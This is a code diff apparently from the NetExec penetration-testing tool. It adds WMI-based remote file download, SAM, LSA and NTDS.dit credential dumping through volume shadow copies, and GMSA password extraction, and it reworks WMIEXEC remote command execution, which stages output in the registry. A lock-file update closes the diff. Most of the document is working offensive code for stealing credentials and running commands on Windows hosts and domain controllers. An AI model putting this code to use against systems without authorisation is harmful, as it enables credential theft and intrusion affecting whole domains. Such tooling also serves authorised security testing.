self.iWbemLevel1Login = IWbemLevel1Login(iInterface)
_ = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self.iWbemLevel1Login.RemRelease()
self.get_namespace("//./root/cimv2")
except Exception as e:
if "access_denied" not in str(e).lower():
self.logger.fail(str(e))
@@ -372,6 +388,284 @@ class wmi(connection):
self.logger.success(out)
return True
def read_file(self, remote_path) -> bytes | None:
self.logger.debug(f"Try reading file {remote_path}")
escaped_path = remote_path.replace("\\", "\\\\")
# Load the Namespace
powershellv3_namespace = self.get_namespace("//./root/Microsoft/Windows/Powershellv3")
if powershellv3_namespace is None:
return None
# Read the file
try:
object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"'
iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path)
obj = iWbemClassObject.getProperties()
file_data = None
for prop_name, prop_value in obj.items():
if prop_name == "FileData":
file_data = prop_value["value"]
break
if len(file_data) < 4:
return None
# Unpack it
file_length = struct.unpack(">I", bytes(file_data[:4]))[0]
return bytes(file_data[4:4 + file_length])
except DCERPCSessionError as e:
if e.error_code == 0x80041006: # WBEM_E_OUT_OF_MEMORY
# With the PS_ModuelFile technique, the file will be loaded into
# WMI process memory. By default, a specific memory space is allocated
# to each WMI provider host process (WMIPrvse.exe). This value can be
# found by querying MemoryPerHost in __ProviderHostQuotaConfiguration class
# in root namespace. Default is 512MB, but tests showed that starting from 70MB, the download can fail
# File is too big, let's try to copy it the dirty way
live_path = re.sub(
r"^\\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy\d+",
"C:",
escaped_path,
flags=re.IGNORECASE,
)
# Check file size
def callback_func(iEnumWbemClassObject, records):
wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0]
record = dict(wmi_results.getProperties())
callback_func.size = record["FileSize"]["value"]
callback_func.size = 0
wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{live_path}'"
self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func)
# Get the file chunk by chunk with command exec
self.logger.fail(f"{remote_path} filesize is {callback_func.size / 1024**2:.0f}MB. The download might take a LOT of time and use wmi command execution.")
data = b""
chunk_size = 1 * 1024 * 1024 # 1MB - Could not do bigger or it can crash
chunk_count = (callback_func.size + chunk_size - 1) // chunk_size
try:
for i in range(chunk_count):
offset = i * chunk_size
self.logger.debug(f"Reading bytes from {offset} to {offset + chunk_size if offset + chunk_size < callback_func.size else callback_func.size}")
powershell_command = f"$fs=[IO.File]::OpenRead('{remote_path}');try {{ $fs.Seek({offset},[IO.SeekOrigin]::Begin)|Out-Null;$b=[byte[]]::new({chunk_size});$n=$fs.Read($b,0,$b.Length);Write-Output ([Convert]::ToBase64String($b,0,$n)) }} finally {{ $fs.Dispose() }}"
output = self.execute_psh(powershell_command, get_output=True)
data += base64.b64decode(output)
return data
except Exception as e2:
self.logger.debug(f"Error while downloading {remote_path}: {e2}")
self.logger.fail(f"Could not download {remote_path}")
elif e.error_code == 0x80041002: # WBEM_E_NOT_FOUND
self.logger.fail(f"Cannot find file '{remote_path}'")
else:
self.logger.debug(f"Error while downloading {remote_path}: {e}")
return None
def get_file_single(self, remote_path, download_path):
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
file_data = self.read_file(remote_path)
if file_data is None:
return False
else:
with open(download_path, "wb+") as file:
file.write(file_data)
return True
@requires_admin
def get_file(self):
for src, dest in self.args.get_file:
self.logger.display(f'Copying "{src}" to "{dest}"')
if self.get_file_single(src, dest):
self.logger.success(f'File "{src}" was downloaded to "{dest}"')
else:
self.logger.fail(f'Could not get file "{src}"')
@requires_admin
def sam(self):
def add_sam_hash(sam_hash):
self.logger.highlight(sam_hash)
if "_history" in sam_hash:
return
username, _, lmhash, nthash, _, _, _ = sam_hash.split(":")
# TODO: Implement wmi creds database
add_sam_hash.sam_hashes += 1
add_sam_hash.sam_hashes = 0
output_filename = self.output_file_template.format(output_folder="sam")
bootkey = self.remote_ops.get_bootkey(output_filename)
if bootkey is None:
return
# Get the SAM hive
sam_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SAM"
if not self.get_file_single(sam_hive_path, f"{output_filename}.sam"):
self.logger.fail("Could not get SAM hive")
return
SAM = SAMHashes(
f"{output_filename}.sam",
bootkey,
isRemote=None,
history=self.args.history,
perSecretCallback=lambda secret: add_sam_hash(secret),
)
self.logger.display("Dumping SAM hashes")
SAM.dump()
SAM.export(output_filename)
self.logger.success(f"Dumped {highlight(add_sam_hash.sam_hashes)} SAM hashes to {output_filename + '.sam'}")
@requires_admin
def lsa(self, quiet=False):
def add_lsa_secret(secret):
add_lsa_secret.secrets += 1
if "dpapi_machinekey" not in secret:
if not quiet:
self.logger.highlight(secret)
else:
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
if not quiet:
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
if "_SC_GMSA_{84A78B8C" in secret:
gmsa_id = secret.split("_")[4].split(":")[0]
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(data)
currentPassword = blob["CurrentPassword"][:-2]
ntlm_hash = MD4.new()
ntlm_hash.update(currentPassword)
passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
if not quiet:
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
add_lsa_secret.secrets = 0
output_filename = self.output_file_template.format(output_folder="lsa")
bootkey = self.remote_ops.get_bootkey(output_filename)
if bootkey is None:
return
# Get the LSA hive
lsa_hive_path = f"{self.remote_ops.shadow_copy_path}\\Windows\\System32\\config\\SECURITY"
if not self.get_file_single(lsa_hive_path, f"{output_filename}.security"):
self.logger.fail("Could not get LSA hive")
return
LSA = LSASecrets(
f"{output_filename}.security",
bootkey,
None,
isRemote=None,
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
)
if not quiet:
self.logger.display("Dumping LSA secrets")
LSA.dumpCachedHashes()
LSA.exportCached(output_filename)
LSA.dumpSecrets()
LSA.exportSecrets(output_filename)
if not quiet:
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {output_filename + '.secrets'} and {output_filename + '.cached'}")
@requires_admin
def ntds(self):
printed_kerb_keys_banner = False
def add_hash(secret_type, secret):
nonlocal printed_kerb_keys_banner
if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
self.logger.display("Kerberos keys:")
printed_kerb_keys_banner = True
# Count the type of secrets
if secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
add_hash.kerb_secrets += 1
else:
add_hash.nt_lm_secrets += 1
# Log the secret based on args
if self.args.enabled:
if "Enabled" in secret:
secret = " ".join(secret.split(" ")[:-1])
self.logger.highlight(secret)
else:
secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret
self.logger.highlight(secret)
# Filter out computer accounts, history hashes and kerberos keys for adding to db
if secret.find("$") == -1 and secret_type == NTDSHashes.SECRET_TYPE.NTDS and "_history" not in secret:
if secret.find("\\") != -1:
_, clean_hash = secret.split("\\")
else:
clean_hash = secret
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
add_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
add_hash.nt_lm_secrets = 0
add_hash.kerb_secrets = 0
add_hash.added_to_db = 0
output_filename = self.output_file_template.format(output_folder="ntds")
bootkey = self.remote_ops.get_bootkey(output_filename)
if bootkey is None:
return
# Get the NTDS.dit file
ntds_file = f"{self.remote_ops.shadow_copy_path}\\Windows\\NTDS\\ntds.dit"
if not self.get_file_single(ntds_file, f"{output_filename}.ntds.dit"):
self.logger.fail("Could not download NTDS.dit file")
return
NTDS = NTDSHashes(
f"{output_filename}.ntds.dit",
self.remote_ops.bootkey,
isRemote=False,
history=self.args.history,
noLMHash=True,
justNTLM=not self.args.kerberos_keys,
useVSSMethod=True,
remoteOps=None,
pwdLastSet=False,
resumeSession=None,
outputFileName=f"{output_filename}.ntds",
justUser=self.args.userntds if self.args.userntds else None,
printUserStatus=True,
perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret),
)
try:
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
NTDS.dump()
ntds_outfile = f"{output_filename}.ntds"
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile}")
if self.args.kerberos_keys:
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
except Exception as e:
self.logger.fail(e)
@requires_admin
def wmi_query(self, wql=None, namespace=None, callback_func=None):
records = []
@@ -382,8 +676,7 @@ class wmi(connection):
namespace = self.args.wmi_namespace
try:
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
self.iWbemLevel1Login.RemRelease()
iWbemServices = self.get_namespace(namespace)
iEnumWbemClassObject = iWbemServices.ExecQuery(wql)
except Exception as e:
self.logger.debug(str(e))
@@ -417,7 +710,7 @@ class wmi(connection):
record = dict(wmi_results.getProperties())
records.append(record)
snapshots = self.wmi_query(wql=wql, namespace="root\\cimv2", callback_func=callback_func)
snapshots = self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func)
if not snapshots:
self.logger.info("No volume shadow copies found.")
return
@@ -429,8 +722,6 @@ class wmi(connection):
@requires_admin
def execute(self, command=None, get_output=False, use_powershell=False):
output = ""
# Execution via -x
if not command and self.args.execute:
command = self.args.execute
@@ -451,7 +742,8 @@ class wmi(connection):
self.iWbemLevel1Login,
self.logger,
self.args.exec_timeout,
self.args.codec
self.args.codec,
self.get_namespace("//./root/cimv2")
)
elif self.args.exec_method == "wmiexec-event":
exec_method = wmiexec_event.WMIEXEC_EVENT(
@@ -459,19 +751,21 @@ class wmi(connection):
self.iWbemLevel1Login,
self.logger,
self.args.exec_timeout,
self.args.codec
self.args.codec,
self.get_namespace("//./root/subscription")
)
output = exec_method.execute(command, get_output, use_powershell=use_powershell)
try:
output = exec_method.execute(command, get_output, use_powershell=use_powershell)
except Exception as e:
self.logger.fail(f"Execute command failed with {self.args.exec_method}: {e}")
return ""
if self.args.execute and get_output:
self.logger.success(f'Executed command: "{command}" via {self.args.exec_method}')
buf = StringIO(output).readlines()
for line in buf:
if get_output and (self.args.execute_psh if use_powershell else self.args.execute):
self.logger.success(f'Executed {"PowerShell " if use_powershell else ""}command: "{command}" via {self.args.exec_method}')
for line in StringIO(output).readlines():
if line.strip():
self.logger.highlight(line.strip())
return output
else:
return output
return output
def execute_psh(self, command=None, get_output=False):
# Execution via -X
@@ -479,18 +773,27 @@ class wmi(connection):
command = self.args.execute_psh
if not self.args.no_output:
get_output = True
return self.execute(command, get_output, use_powershell=True)
output = self.execute(command, get_output, use_powershell=True)
def get_namespace(self, namespace: str) -> IWbemServices:
"""Load WMI namespaces and place them in cache. If a namespace is already loaded in cache, return the namespace in cache"""
if namespace in self.namespaces:
return self.namespaces[namespace]
self.logger.debug(f"Getting namespace {namespace}")
try:
iWbemServices = self.iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
self.iWbemLevel1Login.RemRelease()
except Exception as e:
self.logger.debug(f"Cannot load WMI Namespace {namespace}: {e}")
return None
self.namespaces[namespace] = iWbemServices
return self.namespaces[namespace]
if self.args.execute_psh and get_output:
self.logger.success(f'Executed PowerShell command: "{command}" via {self.args.exec_method}')
buf = StringIO(output).readlines()
for line in buf:
if line.strip():
self.logger.highlight(line.strip())
return output
else:
return output
@property
def remote_ops(self):
if self._remote_ops is None:
self._remote_ops = RemoteOperations(self, shadow_id=self.args.shadow_id)
return self._remote_ops
@requires_admin
def sccm(self):
+21
View File
@@ -1,3 +1,7 @@
from argparse import _StoreTrueAction
from nxc.helpers.args import get_conditional_action
def proto_args(parser, parents):
wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents)
wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
@@ -15,11 +19,28 @@ def proto_args(parser, parents):
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
cred_gathering_group.add_argument("--use-snapshot-id", action="store", dest="shadow_id", help="Use an existing VSS snapshot ID for SAM, LSA and/or NTDS dump")
cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs")
ntds_arg = cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs")
cred_gathering_group.add_argument("--history", action="store_true", help="Also retrieve password history (NTDS.dit or SAM)")
# NTDS options
kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)")
exclusive = cred_gathering_group.add_mutually_exclusive_group()
enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)")
kerb_keys_arg.make_required = [ntds_arg]
enabled_arg.make_required = [ntds_arg]
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
egroup = wmi_parser.add_argument_group("Mapping/Enumeration")
egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query")
egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", type=str, default="root\\cimv2", help="WMI Namespace (default: %(default)s)")
files_group = wmi_parser.add_argument_group("File Operations")
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cgroup = wmi_parser.add_argument_group("Command Execution")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", type=str, help="Creates a new cmd process and executes the specified command with output")
+87
View File
@@ -0,0 +1,87 @@
from binascii import hexlify
from impacket.examples.secretsdump import LocalOperations
class RemoteOperations:
def __init__(self, connection, shadow_id=None):
self.connection = connection
self.cimv2_namespace = self.connection.get_namespace("//./root/cimv2")
# Cached variables
self.bootkey = None
if shadow_id is not None:
self.connection.logger.display(f"Using existing VSS Snapshot ID: {shadow_id}")
self._shadow_id = shadow_id
self._shadow_copy_path = None
# Keep track if we created a Shadow Copy to delete it later
self.shadow_copy_created = False
def __del__(self):
# If we created a Shadow Copy, delete it
if self.shadow_copy_created:
wmiPath = f'Win32_ShadowCopy.ID="{self.shadow_id}"'
self.connection.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}")
ret = self.cimv2_namespace.DeleteInstance(wmiPath)
if (ret.GetCallStatus(0) & 0xffffffff) != 0:
self.connection.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.")
else:
self.connection.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted")
def create_shadowcopy(self) -> str:
# Creating Shadow Volumes
shadow_id = None
try:
win32_shadow_copy, _ = self.cimv2_namespace.GetObject("Win32_ShadowCopy")
self.connection.logger.debug("Trying to create SS remotely via WMI")
result = win32_shadow_copy.Create("C:\\", "ClientAccessible")
self.shadow_copy_created = True
shadow_id = result.ShadowID
self.connection.logger.debug(f"Shadow Copy created at ID {shadow_id}")
except Exception as e:
self.connection.logger.fail(f"Cannot create ShadowCopy: {e}")
return shadow_id
def get_shadowcopy_path(self, shadow_id=None) -> str:
if shadow_id is None:
shadow_id = self.shadow_id
device_object = None
try:
iEnum_shadow_copies = self.cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"')
obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0]
props = obj.getProperties()
shadow_copy = {k: v["value"] for k, v in props.items()}
device_object = shadow_copy["DeviceObject"]
self.connection.logger.debug(f"Found ShadowCopy at {device_object}")
except Exception as e:
self.connection.logger.fail(f"Cannot find ShadowCopy with ID {shadow_id} :{e}")
return device_object
@property
def shadow_id(self):
if self._shadow_id is None:
self._shadow_id = self.create_shadowcopy()
return self._shadow_id
@property
def shadow_copy_path(self):
if self._shadow_copy_path is None:
self._shadow_copy_path = self.get_shadowcopy_path()
return self._shadow_copy_path
def get_bootkey(self, output_filename):
if self.bootkey is not None:
return self.bootkey
system_hive_path = f"{self.shadow_copy_path}\\Windows\\System32\\config\\SYSTEM"
system_hive_recovered = self.connection.get_file_single(system_hive_path, f"{output_filename}.system")
if system_hive_recovered:
self.connection.logger.debug("Got SYSTEM hive")
local_operations = LocalOperations(f"{output_filename}.system")
self.bootkey = local_operations.getBootKey()
self.connection.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}")
else:
self.connection.logger.fail("Could not get bootkey")
return self.bootkey
+49 -27
View File
@@ -21,7 +21,7 @@ from impacket.dcerpc.v5.dtypes import NULL
class WMIEXEC:
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec):
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, cimv2_namespace=None):
self.__target = target
self.__iWbemLevel1Login = iWbemLevel1Login
self.logger = logger
@@ -32,8 +32,10 @@ class WMIEXEC:
self.__pwd = "C:\\"
self.__codec = codec
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
self.__iWbemServices = cimv2_namespace
if self.__iWbemServices is None:
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
self.__win32Process, _ = self.__iWbemServices.GetObject("Win32_Process")
def execute(self, command, output=False, use_powershell=False):
@@ -55,10 +57,40 @@ class WMIEXEC:
def execute_remote(self, command):
self.logger.info(f"Executing command: {command}")
process = self.__win32Process.Create(command, self.__pwd, None)
if process.ReturnValue != 0:
raise Exception(f"Win32_Process.Create returned {process.ReturnValue}")
return process.ProcessId
def wait_for_process(self, pid, timeout):
"""Poll Win32_Process until the process and its children have exited or the timeout (in seconds) is reached"""
end = time.monotonic() + timeout
while time.monotonic() < end:
time.sleep(0.1)
try:
self.__iWbemServices.GetObject(f'Win32_Process.Handle="{pid}"')
except Exception as e:
if "WBEM_E_NOT_FOUND" not in str(e):
self.logger.debug(f"Could not query process {pid}: {e}")
continue
# Children (e.g. "start /b") keep the ParentProcessId after the parent exits and may still hold the output file open
if not self.has_children(pid):
return
self.logger.fail(f"WMIEXEC: Process {pid} still running after {timeout}s, output may be incomplete. Please try a higher '--exec-timeout'")
def has_children(self, pid):
try:
self.__win32Process.Create(command, self.__pwd, None)
enum = self.__iWbemServices.ExecQuery(f"SELECT ProcessId FROM Win32_Process WHERE ParentProcessId = {pid}")
except Exception as e:
self.logger.error(str(e))
self.logger.debug(f"Could not query children of process {pid}: {e}")
return False
try:
enum.Next(0xFFFFFFFF, 1)
return True
except Exception:
return False
finally:
enum.RemRelease()
def execute_WithOutput(self, command):
result_output = f"C:\\windows\\temp\\{uuid.uuid4()!s}.txt"
@@ -67,17 +99,11 @@ class WMIEXEC:
self.__registry_Path = f"Software\\Classes\\{gen_random_string(8)}"
# 1. Run the command and write output to file
self.execute_remote(f'{self.__shell} ({command}) 1> "{result_output}" 2>&1')
self.logger.info(f"Waiting {self.__exec_timeout}s for command to complete.")
time.sleep(self.__exec_timeout)
self.logger.info(f"Waiting up to {self.__exec_timeout}s for command to complete.")
self.wait_for_process(self.execute_remote(f'{self.__shell} ({command}) 1> "{result_output}" 2>&1'), self.__exec_timeout)
# 2. Base64 encode the file
self.execute_remote(f"{self.__shell} certutil -encodehex -f {result_output} {result_output_b64} 0x40000001")
time.sleep(0.5)
# 3. Store content in registry
self.execute_remote(f'{self.__shell} for /F "usebackq" %G in ("{result_output_b64}") do reg add HKLM\\{self.__registry_Path} /v {keyName} /t REG_SZ /d "%G" /f')
time.sleep(0.1)
# 2. Base64 encode the file and store content in registry
self.wait_for_process(self.execute_remote(f'{self.__shell} certutil -encodehex -f {result_output} {result_output_b64} 0x40000001 & for /F "usebackq" %G in ("{result_output_b64}") do reg add HKLM\\{self.__registry_Path} /v {keyName} /t REG_SZ /d "%G" /f'), self.__exec_timeout)
self.queryRegistry(keyName)
self.clean_up(result_output, result_output_b64)
@@ -110,16 +136,14 @@ class WMIEXEC:
# 1. Run the command and write output to file
if not command.lower().startswith("powershell"):
command = f'powershell -Command "& {{{command}}}"'
self.execute_remote(f'{command} > "{result_output}" 2>&1')
self.logger.info(f"Waiting {self.__exec_timeout}s for command to complete.")
time.sleep(self.__exec_timeout)
self.logger.info(f"Waiting up to {self.__exec_timeout}s for command to complete.")
self.wait_for_process(self.execute_remote(f'{command} > "{result_output}" 2>&1'), self.__exec_timeout)
# 2. Base64 encode the file using PowerShell
self.execute_remote(f'powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes(\'{result_output}\')) | Out-File -Encoding ASCII \'{result_output_b64}\'"')
time.sleep(0.5)
self.wait_for_process(self.execute_remote(f'powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes(\'{result_output}\')) | Out-File -Encoding ASCII \'{result_output_b64}\'"'), self.__exec_timeout)
# 3. Use PowerShell to split base64 content into 16KB chunks and store in registry
self.execute_remote(
self.wait_for_process(self.execute_remote(
f'powershell -Command "$b64 = Get-Content -Raw \'{result_output_b64}\'; '
f'$chunksize = 16000; '
f'$count = [math]::Ceiling($b64.Length / $chunksize); '
@@ -128,8 +152,7 @@ class WMIEXEC:
f' $name = \\"{keyName}_chunk_$i\\"; '
f' reg add \\"HKLM\\{self.__registry_Path}\\" /v $name /t REG_SZ /d $chunk /f }}; '
f'reg add \\"HKLM\\{self.__registry_Path}\\" /v \\"{keyName}\\" /t REG_DWORD /d $count /f"'
)
time.sleep(0.1)
), self.__exec_timeout)
self.queryRegistry_psh(keyName)
self.clean_up(result_output, result_output_b64)
@@ -163,13 +186,12 @@ class WMIEXEC:
self.logger.fail("WMIEXEC: Could not retrieve output file! Either command timed out or AV killed the process. Please try increasing the timeout: '--exec-timeout 10'")
def clean_up(self, result_output, result_output_b64):
"""Deletes the output file, the base64 output file, and the registry path where the base64 content was stored."""
self.execute_remote(f'{self.__shell} del /q /f "{result_output}" "{result_output_b64}"')
"""Deletes the registry path where the base64 content was stored, the output file and the base64 output file."""
try:
self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}")
descriptor, _ = self.__iWbemServices.GetObject("StdRegProv")
descriptor = descriptor.SpawnInstance()
descriptor.DeleteKey(0x80000002, self.__registry_Path)
self.execute_remote(f'{self.__shell} del /q /f "{result_output}" "{result_output_b64}"')
except Exception as e:
self.logger.fail(f"Target: {self.__target} removing temporary registry path error: {e!s}")
self.logger.fail(f"WMIEXEC: Cleanup failed, traces may be left on the target ({result_output}, {result_output_b64}, HKLM\\{self.__registry_Path}): {e}")
+5 -3
View File
@@ -30,7 +30,7 @@ from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS
class WMIEXEC_EVENT:
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec):
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, subscription_namespace=None):
self.__target = target
self.__iWbemLevel1Login = iWbemLevel1Login
self.__outputBuffer = ""
@@ -41,8 +41,10 @@ class WMIEXEC_EVENT:
self.__instanceID = f"windows-object-{uuid.uuid4()!s}"
self.__instanceID_StoreResult = f"windows-object-{uuid.uuid4()!s}"
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
self.__iWbemServices = subscription_namespace
if self.__iWbemServices is None:
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
def execute(self, command, output=False, use_powershell=False):
if "'" in command:
Generated
+24 -106
View File
@@ -1,14 +1,17 @@
# This file is automatically @generated by Poetry 2.4.1 and should not be changed by hand.
# This file is automatically @generated by Poetry 2.5.1 and should not be changed by hand.
[[package]]
name = "aardwolf"
version = "0.2.14"
version = "0.2.16"
description = "Asynchronous RDP protocol implementation"
optional = false
python-versions = ">=3.9"
python-versions = ">=3.11"
groups = ["main"]
files = [
{file = "aardwolf-0.2.14.tar.gz", hash = "sha256:360a1a3d046dc2814c2e58339939a8f311ae330c0d1d962790edf45d726af4a6"},
{file = "aardwolf-0.2.16-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:fbde3046d4cdd3a5596dfcc988965b85527632cee46db2522961893d101fcbc7"},
{file = "aardwolf-0.2.16-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:69bedfad4b68b855a9d0df928c78eb0bbdc642c22f9845778c9df77a8fe9c259"},
{file = "aardwolf-0.2.16-cp311-abi3-win_amd64.whl", hash = "sha256:b4d6032110ee238cf11c1f5efa86636462d7dc2e972b8464e949da82df58f3a6"},
{file = "aardwolf-0.2.16.tar.gz", hash = "sha256:52cba79817af963108dcd39e82513deec742387f2fab01a9138abe56f94e7ad2"},
]
[package.dependencies]
@@ -105,7 +108,6 @@ files = [
]
[package.dependencies]
exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""}
idna = ">=2.8"
typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""}
@@ -439,7 +441,7 @@ files = [
[package.dependencies]
dnspython = "*"
impacket = ">=0.9.17"
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
ldap3 = ">2.5.0,!=2.5.2,!=2.6"
pyasn1 = ">=0.4"
pycryptodome = "*"
@@ -480,14 +482,16 @@ dev = ["black (>=23.0.0)", "mypy (>=1.0.0)", "pytest (>=7.0.0)", "pytest-cov (>=
kerberos = ["gssapi (>=1.8.0) ; sys_platform != \"win32\"", "winkerberos (>=0.9.1) ; sys_platform == \"win32\""]
[[package]]
name = "certipy-ad"
version = "5.1.0"
description = "Active Directory Certificate Services enumeration and abuse"
name = "certipy-nxc"
version = "5.1.0.post1"
description = "Certipy (ly4k/Certipy) packaged for NetExec, with relaxed Python and impacket pins"
optional = false
python-versions = ">=3.10"
groups = ["main"]
files = []
develop = false
files = [
{file = "certipy_nxc-5.1.0.post1-py3-none-any.whl", hash = "sha256:27620fdd7a7a44f5ea7d537732a8022d20dd02f7fcd76e2d7fff84daab43ecb0"},
{file = "certipy_nxc-5.1.0.post1.tar.gz", hash = "sha256:fb11ca11bcf2e1e7eb060e2c7a7ba78699baeafabb23598dd3770b61d07b75b8"},
]
[package.dependencies]
argcomplete = ">=3.6.2,<3.7.0"
@@ -505,12 +509,6 @@ requests = ">=2.32.3,<2.33.0"
[package.extras]
bloodhound = ["neo4j (>=5.28.1,<5.29.0)"]
[package.source]
type = "git"
url = "https://github.com/Pennyw0rth/Certipy"
reference = "HEAD"
resolved_reference = "069e03113095aa02772aa3d8debea90654933fe4"
[[package]]
name = "cffi"
version = "2.1.1"
@@ -867,25 +865,6 @@ files = [
pycryptodomex = "*"
pyopenssl = "*"
[[package]]
name = "exceptiongroup"
version = "1.3.1"
description = "Backport of PEP 654 (exception groups)"
optional = false
python-versions = ">=3.7"
groups = ["main", "dev"]
markers = "python_version == \"3.10\""
files = [
{file = "exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598"},
{file = "exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219"},
]
[package.dependencies]
typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""}
[package.extras]
test = ["pytest (>=6)"]
[[package]]
name = "flake8"
version = "7.3.0"
@@ -1097,7 +1076,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"]
[[package]]
name = "impacket"
version = "0.14.0.dev0+20260909.31915.a2d35007"
version = "0.14.0.dev0+20261015.95810.75938fcb"
description = "Network protocols Constructors and Dissectors"
optional = false
python-versions = "*"
@@ -1108,7 +1087,7 @@ develop = false
[package.dependencies]
charset_normalizer = "*"
flask = ">=1.0"
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
ldap3 = ">2.5.0,!=2.5.2,!=2.6"
ldapdomaindump = ">=0.9.0"
pyasn1 = ">=0.2.3"
pyasn1_modules = "*"
@@ -1121,7 +1100,7 @@ six = "*"
type = "git"
url = "https://github.com/fortra/impacket"
reference = "HEAD"
